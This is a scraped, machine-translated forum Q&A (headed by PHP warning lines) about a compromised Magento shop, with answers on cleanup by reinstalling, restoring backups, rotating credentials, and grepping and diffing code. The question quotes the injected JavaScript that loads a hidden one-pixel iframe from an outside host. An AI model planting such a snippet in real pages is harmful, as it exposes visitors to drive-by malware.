Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/magento/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 客户端magento网站包含恶意代码,如何摆脱它?_Javascript_Magento_Malware - Fatal编程技术网

Javascript 客户端magento网站包含恶意代码,如何摆脱它?

Javascript 客户端magento网站包含恶意代码,如何摆脱它?,javascript,magento,malware,Javascript,Magento,Malware,我的客户今天打电话给我,告诉我后端的一些功能突然停止工作。在快速查看之后,我发现该网站在最后一个html标记下面包含恶意代码。。代码如下: <script type="text/javascript"> (function () { var zg = document.createElement('iframe'); zg.src = 'http://impactrl.de/chat/esd.php'; zg.styl

我的客户今天打电话给我,告诉我后端的一些功能突然停止工作。在快速查看之后,我发现该网站在最后一个html标记下面包含恶意代码。。代码如下:

<script type="text/javascript">     
    (function () {
        var zg = document.createElement('iframe');
        zg.src = 'http://impactrl.de/chat/esd.php';
        zg.style.position = 'absolute';
        zg.style.border = '0';    zg.style.height = '1px';
        zg.style.width = '1px';    zg.style.left = '1px';
        zg.style.top = '1px';
        if (!document.getElementById('zg')) {
            document.write('<div id=\'zg\'></div>');
            document.getElementById('zg').appendChild(zg);
        }})();
</script>

(功能(){
var zg=document.createElement('iframe');
zg.src=http://impactrl.de/chat/esd.php';
zg.style.position='绝对';
zg.style.border='0';zg.style.height='1px';
zg.style.width='1px';zg.style.left='1px';
zg.style.top='1px';
如果(!document.getElementById('zg')){
文件。写(“”);
document.getElementById('zg').appendChild(zg);
}})();
我的客户还告诉我,他下载了一些软件,可以从桌面上运行他的商店。我打赌这就是问题所在

然而,我想去掉这段代码,但我在任何文件中都找不到它。它位于所有后端和前端页面上


有人知道我必须在哪个文件中查找吗?

您应该找到一种方法来防止它被插入DOM!在Chrome中,您在Inspector中有一个很好的资源概述

为了安全起见,您可以检查页面中的其他iFrame,并添加一些common.css
#zg{display:none;}
。或者

如果您有多个IFRAME,则可以使用JS并使用
document.getElementsByTagName(“IFRAME”)
循环遍历它们,并删除具有指定src值的IFRAME

更新:
Chrome验证是否在每个JS文件中都添加了此项。我解释它是从服务器发送的。我不相信这与JS有关


这是一个更大的问题。如果您在网站中发现了从未知服务器获取资源的未知代码,您有安全问题。安全问题已经足够坏了,但对于一个从事电子商务的网站来说,这是一个完全不可接受的情况

此时唯一安全的做法是擦除服务器并从头开始安装。确保使用最新的、经过完全修补的操作系统、Apache、PHP和Magento安装


如果您有备份(我希望您有),一个好的开始可能是在出现任何问题之前进行备份。使服务器脱机,恢复备份,然后将所有组件更新为最新版本。只有这样,服务器才能安全地恢复在线。

这是一个很好的例子,说明了为什么您经常备份网站的代码库和数据库。实际上,如果您不知道代码来自何处,那么您也不知道是否有多个插入点和其他问题。更改所有登录和访问凭据(ssh、ftp、mysql、cPanel、用于维护的计算机(从家里开始,扫描恶意软件),清除系统并重新安装

把这一点放在一边,作为100%的事后诸葛亮,如果你正在寻找这一点的来源:

第一步是
grep
mangrep
在ssh提示下获取有关使用
grep
)您的代码库(基本上是任何文本文件,而不仅仅是Magento的,任何内容都可以从服务器上的任何位置包含)。您不仅要查找漏洞中发现的字符串,还要查找插入的模糊代码的迹象,因为大多数网站破解者希望代码的使用寿命更长。越不明显、越容易找到越好

第二步是针对新的代码库进行
diff
如果该站点接近库存,您可以在单独的文件夹中安装您正在运行的Magento版本的新解压缩,然后在实时安装和新代码库之间的主目录上执行
diff
,以查找所有不同的文件。Basic命令to使用is
diff-qrbB污染\code\location fresh\code\location
以及
diff
对自定义模板的旧存储副本进行处理


第三步是考虑它可能不在任何模板文件中。您可以查看一个折衷的登录,其中有人使用后端将代码放在用于代码包含的几个页面配置文本区域之一中,添加了一个CMS块,然后引用它,通过一个代码插入插入到系统中,得到SOM。将XSS代码从其他网站插入数据库,或者如果您有MySQL的外部公开端口,则具有数据库登录凭据,可以随意插入任何内容。执行数据库转储和

grep
ing SQL代码作为字符串,这又是另一个查找这些代码的工具。

上也有同样的问题一个客户端的页面,它被JS/BlacoleRef.F.3感染。
我也没有使用Magento,所以我猜问题与它无关。所以我只是恢复了损坏的HTML文件,现在它显然起作用了。

这是整个“恶意代码”块吗是的,仅此而已,但它链接到某个要求登录的德国网站,它可能不会造成任何伤害,但它确实很烦人,它会破坏后端,因此有人在所有文件中插入了一个iframe。在试图摆脱javascript之前,如何堵塞这个巨大的安全漏洞。如果它在所有文件中,那么我一定是瞎的。我可以找不到它,我还建议清除软件我认为你需要完全整平服务器并重新安装干净的软件。尝试通过外科手术删除恶意软件从来都不是一个好主意。我可以用一些CSS删除它是的,但它仍然会在文件中的某个地方。我只需要知道它是什么文件^^,检查所有模板e文件,它不在那里:(直到我建议使用Inspector的那部分你才找到它吗?它已经很有用了!:oSorry我真的不明白,Inspector没有给我任何新信息我只是说它与javascript无关,bc你标记了JS。这个例子是一个bi